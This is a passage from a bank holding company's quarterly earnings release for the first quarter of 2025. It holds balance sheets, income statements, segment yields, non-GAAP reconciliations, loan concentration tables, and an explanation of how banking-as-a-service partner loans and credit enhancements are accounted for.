Cash and due from banks	$	43,467		$	36,533		$	45,327		$	59,995		$	32,790
Interest earning deposits with other banks		580,835			415,980			438,699			427,250			482,338
Investment securities, available for sale, at fair value		34			35			38			39			41
Investment securities, held to maturity, at amortized cost		46,957			47,286			48,582			49,174			50,049
Other investments		12,589			10,800			10,757			10,664			10,583
Loans held for sale		42,132			20,600			7,565			—			797
Loans receivable		3,517,359			3,486,565			3,413,894			3,321,813			3,195,101
Allowance for credit losses		(183,178	)		(176,994	)		(171,674	)		(148,878	)		(139,941	)
Total loans receivable, net		3,334,181			3,309,571			3,242,220			3,172,935			3,055,160
CCBX credit enhancement asset		183,377			181,890			173,600			149,096			142,412
CCBX receivable		12,685			14,138			16,060			11,520			10,369
Premises and equipment, net		28,639			27,431			25,833			24,526			22,995
Lease right-of-use assets		5,117			5,219			5,427			5,635			5,756
Accrued interest receivable		21,109			21,104			22,315			21,620			22,485
Bank-owned life insurance, net		13,501			13,375			13,255			13,132			12,991
Deferred tax asset, net		3,912			3,600			3,083			2,221			2,221
Other assets		10,747			13,646			11,711			11,742			12,075
Total assets	$	4,339,282		$	4,121,208		$	4,064,472		$	3,959,549		$	3,863,062

LIABILITIES AND SHAREHOLDERS’ EQUITY
LIABILITIES
Deposits	$	3,791,229		$	3,585,332		$	3,627,288		$	3,543,432		$	3,462,979
Subordinated debt, net		44,331			44,293			44,256			44,219			44,181
Junior subordinated debentures, net		3,592			3,591			3,591			3,591			3,590
Deferred compensation		310			332			369			405			442
Accrued interest payable		1,107			962			1,070			999			1,061
Lease liabilities		5,293			5,398			5,609			5,821			5,946
CCBX payable		29,391			29,171			37,839			32,539			30,899
Other liabilities		14,112			13,425			12,520			11,850			10,255
Total liabilities		3,889,365			3,682,504			3,732,542			3,642,856			3,559,353
SHAREHOLDERS’ EQUITY
Common Stock		229,659			228,177			134,769			132,989			131,601
Retained earnings		220,259			210,529			197,162			183,706			172,110
Accumulated other comprehensive loss, net of tax		(1	)		(2	)		(1	)		(2	)		(2	)
Total shareholders’ equity		449,917			438,704			331,930			316,693			303,709
Total liabilities and shareholders’ equity	$	4,339,282		$	4,121,208		$	4,064,472		$	3,959,549		$	3,863,062

COASTAL FINANCIAL CORPORATION
CONDENSED CONSOLIDATED STATEMENTS OF INCOME
(Dollars in thousands, except per share amounts; unaudited)

	Three Months Ended
	March 31, 2025		December 31, 2024		September 30, 2024		June 30, 2024			March 31, 2024
INTEREST AND DIVIDEND INCOME
Interest and fees on loans	$	98,147	$	95,575	$	99,676	$	90,879		$	85,891
Interest on interest earning deposits with other banks		6,070		6,021		4,781		5,683			4,780
Interest on investment securities		650		661		675		686			1,034
Dividends on other investments		40		191		33		174			37
Total interest income		104,907		102,448		105,165		97,422			91,742
INTEREST EXPENSE
Interest on deposits		28,185		29,404		32,083		30,578			28,867
Interest on borrowed funds		660		667		809		672			669
Total interest expense		28,845		30,071		32,892		31,250			29,536
Net interest income		76,062		72,377		72,273		66,172			62,206
PROVISION FOR CREDIT LOSSES		55,781		61,867		70,257		62,325			83,158
Net interest income/(expense) after provision for credit losses		20,281		10,510		2,016		3,847			(20,952	)
NONINTEREST INCOME
Service charges and fees		860		932		952		946			908
Loan referral fees		—		—		—		—			168
Unrealized gain (loss) on equity securities, net		16		1		2		9			15
Other income		682		473		486		257			308
Noninterest income, excluding BaaS program income and BaaS indemnification income		1,558		1,406		1,440		1,212			1,399
Servicing and other BaaS fees		1,419		1,043		1,044		1,525			1,131
Transaction and interchange fees		3,833		3,699		3,549		2,934			2,661
Reimbursement of expenses		1,026		812		565		857			254
BaaS program income		6,278		5,554		5,158		5,316			4,046
BaaS credit enhancements		53,648		62,097		70,108		60,826			79,808
BaaS fraud enhancements		1,993		5,043		2,084		1,784			923
BaaS indemnification income		55,641		67,140		72,192		62,610			80,731
Total noninterest income		63,477		74,100		78,790		69,138			86,176
NONINTEREST EXPENSE
Salaries and employee benefits		21,532		17,994		17,101		17,005			17,984
Occupancy		1,034		958		964		985			1,518
Data processing and software licenses		4,232		4,010		4,297		3,625			2,892
Legal and professional expenses		6,488		4,606		3,597		3,631			3,672
Point of sale expense		107		89		73		72			90
Excise taxes		722		778		762		(706	)		320
Federal Deposit Insurance Corporation (“FDIC”) assessments		755		750		740		690			683
Director and staff expenses		631		683		559		470			400
Marketing		50		28		67		14			53
Other expense		1,938		1,752		1,482		1,383			1,867
Noninterest expense, excluding BaaS loan and BaaS fraud expense		37,489		31,648		29,642		27,169			29,479
BaaS loan expense		32,507		30,720		32,698		29,011			26,107
BaaS fraud expense		1,993		5,043		2,084		1,784			923
BaaS loan and fraud expense		34,500		35,763		34,782		30,795			27,030
Total noninterest expense		71,989		67,411		64,424		57,964			56,509
Income before provision for income taxes		11,769		17,199		16,382		15,021			8,715
PROVISION FOR INCOME TAXES		2,039		3,832		2,926		3,425			1,915
NET INCOME	$	9,730	$	13,367	$	13,456	$	11,596		$	6,800
Basic earnings per common share	$	0.65	$	0.97	$	1.00	$	0.86		$	0.51
Diluted earnings per common share	$	0.63	$	0.94	$	0.97	$	0.84		$	0.50
Weighted average number of common shares outstanding:
Basic		14,962,507		13,828,605		13,447,066		13,412,667			13,340,997
Diluted		15,462,041		14,268,229		13,822,270		13,736,508			13,676,917

COASTAL FINANCIAL CORPORATION
AVERAGE BALANCES, YIELDS, AND RATES – QUARTERLY
(Dollars in thousands; unaudited)

	For the Three Months Ended
	March 31, 2025								December 31, 2024								March 31, 2024
	Average Balance			Interest & Dividends		Yield / Cost ⁽¹⁾			Average Balance			Interest & Dividends		Yield / Cost ⁽¹⁾			Average Balance			Interest & Dividends		Yield / Cost ⁽¹⁾
Assets
Interest earning assets:
Interest earning deposits with other banks	$	553,393		$	6,070		4.45	%	$	501,654		$	6,021		4.77	%	$	350,868		$	4,780		5.48	%
Investment securities, available for sale ⁽²⁾		37			1		10.96			39			—		—			64,878			349		2.16
Investment securities, held to maturity ⁽²⁾		47,154			649		5.58			48,126			661		5.46			50,490			685		5.46
Other investments		11,757			40		1.38			10,783			191		7.05			10,262			37		1.45
Loans receivable ⁽³⁾		3,511,724			98,147		11.33			3,419,476			95,575		11.12			3,137,271			85,891		11.01
Total interest earning assets		4,124,065			104,907		10.32			3,980,078			102,448		10.24			3,613,769			91,742		10.21
Noninterest earning assets:
Allowance for credit losses		(170,542	)							(156,687	)							(114,985	)
Other noninterest earning assets		296,993								277,922								229,437
Total assets	$	4,250,516							$	4,101,313							$	3,728,221

Liabilities and Shareholders’ Equity
Interest bearing liabilities:
Interest bearing deposits	$	3,166,384		$	28,185		3.61	%	$	3,068,357		$	29,404		3.81	%	$	2,728,884		$	28,867		4.25	%
FHLB advances and other borrowings		—			1		—			—			1		—			5			—		—
Subordinated debt		44,309			598		5.47			44,272			599		5.38			44,159			598		5.45
Junior subordinated debentures		3,592			61		6.89			3,591			67		7.42			3,590			71		7.95
Total interest bearing liabilities		3,214,285			28,845		3.64			3,116,220			30,071		3.84			2,776,638			29,536		4.28
Noninterest bearing deposits		543,784								577,453								595,693
Other liabilities		49,624								50,824								58,829
Total shareholders’ equity		442,823								356,816								297,061
Total liabilities and shareholders’ equity	$	4,250,516							$	4,101,313							$	3,728,221
Net interest income				$	76,062							$	72,377							$	62,206
Interest rate spread							6.68	%							6.40	%							5.93	%
Net interest margin ⁽⁴⁾							7.48	%							7.23	%							6.92	%

⁽¹⁾	Yields and costs are annualized.
⁽²⁾	For presentation in this table, average balances and the corresponding average rates for investment securities are based upon historical cost, adjusted for amortization of premiums and accretion of discounts.
⁽³⁾	Includes loans held for sale and nonaccrual loans.
⁽⁴⁾	Net interest margin represents net interest income divided by the average total interest earning assets.

COASTAL FINANCIAL CORPORATION
SELECTED AVERAGE BALANCES, YIELDS, AND RATES – BY SEGMENT – QUARTERLY
(Dollars in thousands; unaudited)

	For the Three Months Ended
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands, unaudited)	Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾		Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾		Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾
Community Bank
Assets
Interest earning assets:
Loans receivable ⁽²⁾	$	1,881,636	$	30,292	6.53	%	$	1,892,298	$	31,043	6.53	%	$	1,871,414	$	30,052	6.46	%
Total interest earning assets		1,881,636		30,292	6.53			1,892,298		31,043	6.53			1,871,414		30,052	6.46
Liabilities
Interest bearing liabilities:
Interest bearing deposits		1,045,971		6,604	2.56	%		1,029,346		7,161	2.77	%		922,340		6,013	2.62	%
Intrabank liability		356,337		3,909	4.45			357,442		4,290	4.77			410,993		5,599	5.48
Total interest bearing liabilities		1,402,308		10,513	3.04			1,386,788		11,451	3.28			1,333,333		11,612	3.50
Noninterest bearing deposits		479,329						505,510						538,081
Net interest income			$	19,779					$	19,592					$	18,440
Net interest margin⁽³⁾					4.26	%					4.12	%					3.96	%

CCBX
Assets
Interest earning assets:
Loans receivable ⁽²⁾⁽⁴⁾	$	1,630,088	$	67,855	16.88	%	$	1,527,178	$	64,532	16.81	%	$	1,265,857	$	55,839	17.74	%
Intrabank asset		554,781		6,085	4.45			583,776		7,007	4.78			598,299		8,151	5.48
Total interest earning assets		2,184,869		73,940	13.72			2,110,954		71,539	13.48			1,864,156		63,990	13.81
Liabilities
Interest bearing liabilities:
Interest bearing deposits		2,120,413		21,581	4.13	%		2,039,011		22,243	4.34	%		1,806,544		22,854	5.09	%
Total interest bearing liabilities		2,120,413		21,581	4.13			2,039,011		22,243	4.34			1,806,544		22,854	5.09
Noninterest bearing deposits		64,455						71,943						57,612
Net interest income			$	52,359					$	49,296					$	41,136
Net interest margin⁽³⁾					9.72	%					9.29	%					8.88	%
Net interest margin, net of BaaS loan expense⁽⁵⁾					3.68	%					3.50	%					3.24	%

	For the Three Months Ended
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands, unaudited)	Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾		Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾		Average Balance		Interest & Dividends		Yield / Cost ⁽¹⁾
Treasury & Administration
Assets
Interest earning assets:
Interest earning deposits with other banks	$	553,393	$	6,070	4.45	%	$	501,654	$	6,021	4.77	%	$	350,868	$	4,780	5.48	%
Investment securities, available for sale ⁽⁶⁾		37		1	10.96			39		—	—			64,878		349	2.16
Investment securities, held to maturity ⁽⁶⁾		47,154		649	5.58			48,126		661	5.46			50,490		685	5.46
Other investments		11,757		40	1.38			10,783		191	7.05			10,262		37	1.45
Total interest earning assets		612,341		6,760	4.48	%		560,602		6,873	4.88	%		476,498		5,851	4.94	%
Liabilities
Interest bearing liabilities:
FHLB advances and borrowings	$	—		1	—	%	$	—		1	—	%	$	5		—	—	%
Subordinated debt		44,309		598	5.47	%		44,272		599	5.38	%		44,159		598	5.45	%
Junior subordinated debentures		3,592		61	6.89			3,591		67	7.42			3,590		71	7.95
Intrabank liability, net ⁽⁷⁾		198,444		2,176	4.45			226,334		2,717	4.78			187,306		2,552	5.48
Total interest bearing liabilities		246,345		2,836	4.67			274,197		3,384	4.91			235,060		3,221	5.51
Net interest income			$	3,924					$	3,489					$	2,630
Net interest margin⁽³⁾					2.60	%					2.48	%					2.22	%

⁽¹⁾	Yields and costs are annualized.
⁽²⁾	Includes loans held for sale and nonaccrual loans.
⁽³⁾	Net interest margin represents net interest income divided by the average total interest earning assets.
⁽⁴⁾	CCBX yield does not include the impact of BaaS loan expense. BaaS loan expense represents the amount paid or payable to partners for credit enhancements, fraud enhancements and originating & servicing CCBX loans. See reconciliation of the non-GAAP measures at the end of this earnings release for the impact of BaaS loan expense on CCBX loan yield.
⁽⁵⁾	Net interest margin, net of BaaS loan expense, includes the impact of BaaS loan expense. BaaS loan expense represents the amount paid or payable to partners for credit enhancements, fraud enhancements, originating & servicing CCBX loans. See reconciliation of the non-GAAP measures at the end of this earnings release.
⁽⁶⁾	For presentation in this table, average balances and the corresponding average rates for investment securities are based upon historical cost, adjusted for amortization of premiums and accretion of discounts.
⁽⁷⁾	Intrabank assets and liabilities are consolidated for period calculations and presented as intrabank asset, net or intrabank liability, net in the table above.

Non-GAAP Financial Measures

The Company uses certain non-GAAP financial measures to provide meaningful supplemental information regarding the Company’s operational performance and to enhance investors’ overall understanding of such financial performance.

However, these non-GAAP financial measures are supplemental and are not a substitute for an analysis based on GAAP measures. As other companies may use different calculations for these adjusted measures, this presentation may not be comparable to other similarly titled adjusted measures reported by other companies.

The following non-GAAP measures are presented to illustrate the impact of BaaS loan expense on net loan income and yield on loans and CCBX loans and the impact of BaaS loan expense on net interest income and net interest margin.

Loan income, net of BaaS loan expense, divided by average loans, is a non-GAAP measure that includes the impact BaaS loan expense on loan income and the yield on loans. The most directly comparable GAAP measure is yield on loans.

Net BaaS loan income divided by average CCBX loans is a non-GAAP measure that includes the impact BaaS loan expense on net BaaS loan income and the yield on CCBX loans. The most directly comparable GAAP measure is yield on CCBX loans.

Net interest income, net of BaaS loan expense, is a non-GAAP measure that includes the impact BaaS loan expense on net interest income. The most directly comparable GAAP measure is net interest income.

CCBX net interest margin, net of BaaS loan expense, is a non-GAAP measure that includes the impact of BaaS loan expense on net interest rate margin. The most directly comparable GAAP measure is CCBX net interest margin.

Reconciliations of the GAAP and non-GAAP measures are presented below.

CCBX	As of and for the Three Months Ended
(dollars in thousands; unaudited)	March 31 2025			December 31 2024			March 31 2024
Net BaaS loan income divided by average CCBX loans:
CCBX loan yield (GAAP)⁽¹⁾		16.88	%		16.81	%		17.74	%
Total average CCBX loans receivable	$	1,630,088		$	1,527,178		$	1,265,857
Interest and earned fee income on CCBX loans (GAAP)		67,855			64,532			55,839
BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net BaaS loan income	$	35,348		$	33,812		$	29,732
Net BaaS loan income divided by average CCBX loans ⁽¹⁾		8.79	%		8.81	%		9.45	%
CCBX net interest margin, net of BaaS loan expense:
CCBX net interest margin ⁽¹⁾		9.72	%		9.29	%		8.88	%
CCBX earning assets		2,184,869			2,110,954			1,864,156
Net interest income (GAAP)		52,359			49,296			41,136
Less: BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net interest income, net of BaaS loan expense	$	19,852		$	18,576		$	15,029
CCBX net interest margin, net of BaaS loan expense ⁽¹⁾		3.68	%		3.50	%		3.24	%

Consolidated	As of and for the Three Months Ended
(dollars in thousands; unaudited)	March 31 2025			December 31 2024			March 31 2024
Net interest margin, net of BaaS loan expense:
Net interest margin ⁽¹⁾		7.48	%		7.23	%		6.92	%
Earning assets		4,124,065			3,980,078			3,613,769
Net interest income (GAAP)		76,062			72,377			62,206
Less: BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net interest income, net of BaaS loan expense	$	43,555		$	41,657		$	36,099
Net interest margin, net of BaaS loan expense ⁽¹⁾		4.28	%		4.16	%		4.02	%
Loan income net of BaaS loan expense divided by average loans:
Loan yield (GAAP)⁽¹⁾		11.33	%		11.12	%		11.01	%
Total average loans receivable	$	3,511,724		$	3,419,476		$	3,137,271
Interest and earned fee income on loans (GAAP)		98,147			95,575			85,891
BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net loan income	$	65,640		$	64,855		$	59,784
Loan income, net of BaaS loan expense, divided by average loans ⁽¹⁾		7.58	%		7.55	%		7.66	%

⁽¹⁾	Annualized calculations for periods presented.

The following non-GAAP measure is presented to illustrate the impact of BaaS loan expense, BaaS fraud expense and reimbursement of expenses (BaaS) on noninterest expense. Certain noninterest expenses are reimbursed by our CCBX partners. In accordance with GAAP we recognize all expenses in noninterest expense and the reimbursement of expenses from our CCBX partner in noninterest income. This non-GAAP measure shows the portion of noninterest expenses that are reimbursed by partners to assist the understanding of how the increases in noninterest expense are related to expenses incurred for and reimbursed by CCBX partner. The most comparable GAAP measure is noninterest expense.

	As of and for the Three Months Ended
(dollars in thousands, unaudited)	March 31, 2025		December 31, 2024		March 31, 2024
Noninterest expense, net of reimbursement of expenses (BaaS)
Noninterest expense (GAAP)	$	71,989	$	67,411	$	56,509
Less: BaaS loan expense		32,507		30,720		26,107
Less: BaaS fraud expense		1,993		5,043		923
Less: Reimbursement of expenses		1,026		812		254
Noninterest expense, net of BaaS loan expense, BaaS fraud expense and reimbursement of expenses	$	36,463	$	30,836	$	29,225

APPENDIX A –
As of March 31, 2025

Industry Concentration

We have a diversified loan portfolio, representing a wide variety of industries. Our major categories of loans are commercial real estate, consumer and other loans, residential real estate, commercial and industrial, and construction, land and land development loans. Together they represent $3.52 billion in outstanding loan balances. When combined with $2.14 billion in unused commitments the total of these categories is $5.67 billion.

Commercial real estate loans represent the largest segment of our loans, comprising 38.0% of our total balance of outstanding loans as of March 31, 2025. Unused commitments to extend credit represents an additional $29.4 million, and the combined total in commercial real estate loans represents $1.37 billion, or 24.2% of our total outstanding loans and loan commitments.

The following table summarizes our loan commitment by industry for our commercial real estate portfolio as of March 31, 2025:

(dollars in thousands; unaudited)	Outstanding Balance		Available Loan Commitments		Total Outstanding Balance & Available Commitment		% of Total Loans (Outstanding Balance & Available Commitment)		Average Loan Balance		Number of Loans
Apartments	$	392,740	$	4,488	$	397,228	7.0	%	$	3,927	100
Hotel/Motel		149,859		61		149,920	2.6			6,516	23
Convenience Store		138,838		561		139,399	2.5			2,314	60
Office		121,346		7,183		128,529	2.3			1,379	88
Retail		101,118		744		101,862	1.8			972	104
Warehouse		103,813		—		103,813	1.8			1,790	58
Mixed use		91,025		5,220		96,245	1.7			1,167	78
Mini Storage		73,172		8,022		81,194	1.4			3,659	20
Strip Mall		43,678		—		43,678	0.8			6,240	7
Manufacturing		36,887		370		37,257	0.7			1,272	29
Groups < 0.70% of total		88,171		2,752		90,923	1.6			1,145	77
Total	$	1,340,647	$	29,401	$	1,370,048	24.2	%	$	2,082	644

Consumer loans comprise 34.5% of our total balance of outstanding loans as of March 31, 2025. Unused commitments to extend credit represents an additional $910.8 million, and the combined total in consumer and other loans represents $2.13 billion, or 37.5% of our total outstanding loans and loan commitments. As illustrated in the table below, our CCBX partners bring in a large number of mostly smaller dollar loans, resulting in an average consumer loan balance of just $1,000. CCBX consumer loans are underwritten to CCBX credit standards and underwriting of these loans is regularly tested, including quarterly testing for partners with portfolio balances greater than $10.0 million.

The following table summarizes our loan commitment by industry for our consumer and other loan portfolio as of March 31, 2025:

(dollars in thousands; unaudited)	Outstanding Balance		Available Loan Commitments ⁽¹⁾		Total Outstanding Balance & Available Commitment ⁽¹⁾		% of Total Loans (Outstanding Balance & Available Commitment)		Average Loan Balance		Number of Loans
CCBX consumer loans
Credit cards	$	532,775	$	868,969	$	1,401,744	24.7	%	$	1.7	314,203
Installment loans		654,844		29,027		683,871	12.1			0.8	776,669
Lines of credit		627		2		629	0.0			1.3	477
Other loans		14,555		—		14,555	0.3			0.1	185,894
Community bank consumer loans
Installment loans		1,846		3		1,849	0.0			65.9	28
Lines of credit		173		357		530	0.0			5.2	33
Other loans		11,307		12,400		23,707	0.4			34.6	327
Total	$	1,216,127	$	910,758	$	2,126,885	37.5	%	$	1.0	1,277,631

⁽¹⁾Total exposure on CCBX loans is subject to CCBX partner/portfolio maximum limits.

Residential real estate loans comprise 13.9% of our total balance of outstanding loans as of March 31, 2025. Unused commitments to extend credit represents an additional $529.3 million, and the combined total in residential real estate loans represents $1.02 billion, or 18.0% of our total outstanding loans and loan commitments.

The following table summarizes our loan commitment by industry for our residential real estate loan portfolio as of March 31, 2025:

(dollars in thousands; unaudited)	Outstanding Balance		Available Loan Commitments ⁽¹⁾		Total Outstanding Balance & Available Commitment ⁽¹⁾		% of Total Loans (Outstanding Balance & Available Commitment)		Average Loan Balance		Number of Loans
CCBX residential real estate loans
Home equity line of credit	$	285,355	$	481,778	$	767,133	13.5	%	$	28	10,291
Community bank residential real estate loans
Closed end, secured by first liens		164,284		1,649		165,933	3.0			533	308
Home equity line of credit		27,931		45,016		72,947	1.3			115	242
Closed end, second liens		10,705		892		11,597	0.2			357	30
Total	$	488,275	$	529,335	$	1,017,610	18.0	%	$	45	10,871

⁽¹⁾Total exposure on CCBX loans is subject to CCBX partner/portfolio maximum limits. CCBX home equity lines of credit are limited to a $375.0 million portfolio maximum.

Commercial and industrial loans comprise 8.9% of our total balance of outstanding loans as of March 31, 2025. Unused commitments to extend credit represents an additional $601.0 million, and the combined total in commercial and industrial loans represents $913.2 million, or 16.1% of our total outstanding loans and loan commitments. Included in commercial and industrial loans is $133.5 million in outstanding capital call lines, with an additional $514.9 million in available loan commitments which is limited to a $350.0 million portfolio maximum. Capital call lines are provided to venture capital firms through one of our CCBX BaaS clients. These loans are secured by the capital call rights and are individually underwritten to the Bank’s credit standards and the underwriting is reviewed by the Bank on every capital call line.

The following table summarizes our loan commitment by industry for our commercial and industrial loan portfolio as of March 31, 2025:

(dollars in thousands; unaudited)	Outstanding Balance		Available Loan Commitments ⁽¹⁾		Total Outstanding Balance & Available Commitment ⁽¹⁾		% of Total Loans (Outstanding Balance & Available Commitment)		Average Loan Balance		Number of Loans
CCBX C&I Loans
Capital Call Lines	$	133,466	$	514,864	$	648,330	11.4	%	$	1,019	131
Retail and other loans		29,702		21,736		51,438	0.9			10	3,002
Community bank C&I Loans
Construction/Contractor Services		30,768		31,642		62,410	1.1			152	202
Financial Institutions		48,648		—		48,648	0.9			4,054	12
Medical / Dental / Other Care		6,721		2,739		9,460	0.2			517	13
Manufacturing		5,611		4,022		9,633	0.2			156	36
Groups < 0.20% of total		57,356		25,969		83,325	1.4			222	258
Total	$	312,272	$	600,972	$	913,244	16.1	%	$	85	3,654

⁽¹⁾ Total exposure on CCBX loans is subject to CCBX partner/portfolio maximum limits.

Construction, land and land development loans comprise 4.7% of our total balance of outstanding loans as of March 31, 2025. Unused commitments to extend credit represents an additional $72.5 million, and the combined total in construction, land and land development loans represents $239.0 million, or 4.2% of our total outstanding loans and loan commitments.

The following table details our loan commitment for our construction, land and land development portfolio as of March 31, 2025:

(dollars in thousands; unaudited)	Outstanding Balance		Available Loan Commitments		Total Outstanding Balance & Available Commitment		% of Total Loans (Outstanding Balance & Available Commitment)		Average Loan Balance		Number of Loans
Commercial construction	$	96,716	$	41,654	$	138,370	2.4	%	$	6,908	14
Residential construction		39,375		22,253		61,628	1.1			2,316	17
Developed land loans		7,788		2		7,790	0.1			556	14
Undeveloped land loans		16,684		4,185		20,869	0.4			1,112	15
Land development		5,988		4,382		10,370	0.2			665	9
Total	$	166,551	$	72,476	$	239,027	4.2	%	$	2,414	69

Exposure and risk in our construction, land and land development portfolio increased compared to recent periods as indicated in the following table:

	Outstanding Balance as of
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024		September 30, 2024		June 30, 2024		March 31, 2024
Commercial construction	$	96,716	$	83,216	$	97,792	$	110,372	$	102,099
Residential construction		39,375		40,940		35,822		34,652		28,751
Undeveloped land loans		16,684		8,665		8,606		8,372		8,190
Developed land loans		7,788		8,305		14,863		13,954		14,307
Land development		5,988		7,072		5,968		5,714		7,515
Total	$	166,551	$	148,198	$	163,051	$	173,064	$	160,862

Commitments to extend credit total $2.14 billion at March 31, 2025, however we do not anticipate our customers using the $2.14 billion that is showing as available due to CCBX partner and portfolio limits.

The following table presents outstanding commitments to extend credit as of March 31, 2025:

Consolidated
(dollars in thousands; unaudited)	As of March 31, 2025
Commitments to extend credit:
Commercial and industrial loans	$	86,108
Commercial and industrial loans – capital call lines		514,864
Construction – commercial real estate loans		50,221
Construction – residential real estate loans		22,255
Residential real estate loans		529,335
Commercial real estate loans		29,401
Credit cards		868,969
Consumer and other loans		41,789
Total commitments to extend credit	$	2,142,942

We have individual CCBX partner portfolio limits with our each of our partners to manage loan concentration risk, liquidity risk, and counter-party partner risk. For example, as of March 31, 2025, capital call lines outstanding balance totaled $133.5 million and, while commitments totaled $514.9 million, the commitments are limited to a maximum of $350.0 million by agreement with the partner. If a CCBX partner goes over their individual limit, it would be a breach of their contract and the Bank may impose penalties and would have the choice to fund or not fund the loan.

See the table below for CCBX portfolio maximums and related available commitments:

CCBX
(dollars in thousands; unaudited)	Balance			Percent of CCBX loans receivable		Available Commitments ⁽¹⁾		Maximum Portfolio Size		Cash Reserve/Pledge Account Amount ⁽²⁾
Commercial and industrial loans:
Capital call lines	$	133,466		8.1	%	$	514,864	$	350,000	$	—
All other commercial & industrial loans		29,702		1.8			21,736		475,720		541
Real estate loans:
Home equity lines of credit ⁽³⁾		285,355		17.3			481,778		375,000		33,436
Consumer and other loans:
Credit cards – cash secured		339					—				—
Credit cards – unsecured		532,436					868,969				27,589
Credit cards – total		532,775		32.2			868,969		850,000		27,589
Installment loans – cash secured		127,426					29,027				—
Installment loans – unsecured		527,418					—				1,175
Installment loans – total		654,844		39.7			29,027		1,814,541		1,175
Other consumer and other loans		15,182		0.9			2		4,739		419
Gross CCBX loans receivable		1,651,324		100.0	%		1,916,376		3,870,000	$	63,160
Net deferred origination fees		(498	)
Loans receivable	$	1,650,826

(1)	Remaining commitment available, net of outstanding balance.
(2)	Balances are as of April 9, 2025.
(3)	These home equity lines of credit are secured by residential real estate and are accessed by using a credit card, but are classified as 1-4 family residential properties per regulatory guidelines.

APPENDIX B –
As of March 31, 2025

CCBX – BaaS Reporting Information

During the quarter ended March 31, 2025, $53.6 million was recorded in BaaS credit enhancements related to the provision for credit losses – loans and reserve for unfunded commitments for CCBX partner loans and negative deposit accounts. Agreements with our CCBX partners provide for a credit enhancement provided by the partner which protects the Bank by indemnifying or reimbursing incurred losses. In accordance with accounting guidance, we estimate and record a provision for expected losses for these CCBX loans, unfunded commitments and negative deposit accounts. When the provision for credit losses – loans and provision for unfunded commitments is recorded, a credit enhancement asset is also recorded on the balance sheet through noninterest income (BaaS credit enhancements) in recognition of the CCBX partner legal commitment to indemnify or reimburse losses. The credit enhancement asset is relieved as credit enhancement payments and recoveries are received from the CCBX partner or taken from the partner’s cash reserve account. Agreements with our CCBX partners also provide protection to the Bank from fraud by indemnifying or reimbursing incurred fraud losses. BaaS fraud includes non-credit fraud losses on loans and deposits originated through partners, generally fraud losses related to loans are comprised primarily of first payment defaults. Fraud losses are recorded when incurred as losses in noninterest expense, and the enhancement received from the CCBX partner is recorded in noninterest income, resulting in a net impact of zero to the income statement. Many CCBX partners also pledge a cash reserve account at the Bank which the Bank can collect from when losses occur that is then replenished by the partner on a regular interval. Although agreements with our CCBX partners provide for credit enhancements that provide protection to the Bank from credit and fraud losses by indemnifying or reimbursing incurred credit and fraud losses, if our partner is unable to fulfill their contracted obligation then the bank would be exposed to additional loan and deposit losses if the cash flows on the loans were not sufficient to fund the reimbursement of loan losses, as a result of this counterparty risk. If a CCBX partner does not replenish their cash reserve account the Bank may consider an alternative plan for funding the cash reserve. This may involve the possibility of adjusting the funding amounts or timelines to better align with the partner’s specific situation. If a mutually agreeable funding plan is not agreed to, the Bank could declare the agreement in default, take over servicing and cease paying the partner for servicing the loan and providing credit enhancements. The Bank would evaluate any remaining credit enhancement asset from the CCBX partner in the event the partner failed to determine if a write-off is appropriate. If a write-off occurs, the Bank would retain the full yield and any fee income on the loan portfolio going forward, and our BaaS loan expense would decrease once default occurred and payments to the CCBX partner were stopped.

The Bank records contractual interest earned from the borrower on CCBX partner loans in interest income, adjusted for origination costs which are paid or payable to the CCBX partner. BaaS loan expense represents the amount paid or payable to partners for credit and fraud enhancements and originating and servicing CCBX loans. To determine net revenue (Net BaaS loan income) earned from CCBX loan relationships, the Bank takes BaaS loan interest income and deducts BaaS loan expense to arrive at Net BaaS loan income (a reconciliation of the non-GAAP measures are set forth in the preceding section of this earnings release) which can be compared to interest income on the Company’s community bank loans.

The following table illustrates how CCBX partner loan income and expenses are recorded in the financial statements:

Loan income and related loan expense	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025			December 31, 2024			March 31, 2024
Yield on loans ⁽¹⁾		16.88	%		16.81	%		17.74	%
BaaS loan interest income	$	67,855		$	64,532		$	55,839
Less: BaaS loan expense		32,507			30,720			26,107
Net BaaS loan income ⁽²⁾	$	35,348		$	33,812		$	29,732
Net BaaS loan income divided by average BaaS loans ⁽¹⁾⁽²⁾		8.79	%		8.81	%		9.45	%

(1) Annualized calculation for quarterly periods shown.
(2) A reconciliation of the non-GAAP measures are set forth in the preceding section of this earnings release.

An increase in average CCBX loans receivable resulted in increased interest income on CCBX loans during the quarter ended March 31, 2025 compared to the quarter ended December 31, 2024. The increase in average CCBX loans receivable was primarily due to our strategy to optimize the CCBX loan portfolio and strengthen our balance sheet through originating higher quality new loans with enhanced credit standards. These higher quality loans also have lower stated rates and expected losses than some of our CCBX loans historically. Our yield on loans and our net interest margin net of BaaS loan expense slightly increased, as our CCBX portfolio is leveling out. Current loan sales and new loan growth are at more similar interest rates compared to prior periods when we were selling loans with higher risk and higher interest rates and replacing them with higher quality lower interest rate loans. We continue to reposition ourselves by managing CCBX credit and concentration levels in an effort to optimize our loan portfolio and also generate off balance sheet fee income. Growth in CCBX loans and deposits has resulted in increases in interest income and expense for the quarter ended March 31, 2025 compared to the quarter ended March 31, 2024.

The following tables are a summary of the interest components, direct fees and expenses of BaaS for the periods indicated and are not inclusive of all income and expense related to BaaS.

Interest income	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024		March 31, 2024
Loan interest income	$	67,855	$	64,532	$	55,839
Total BaaS interest income	$	67,855	$	64,532	$	55,839

Interest expense	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024		March 31, 2024
BaaS interest expense	$	21,581	$	22,243	$	22,854
Total BaaS interest expense	$	21,581	$	22,243	$	22,854

BaaS income	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024		March 31, 2024
BaaS program income:
Servicing and other BaaS fees	$	1,419	$	1,043	$	1,131
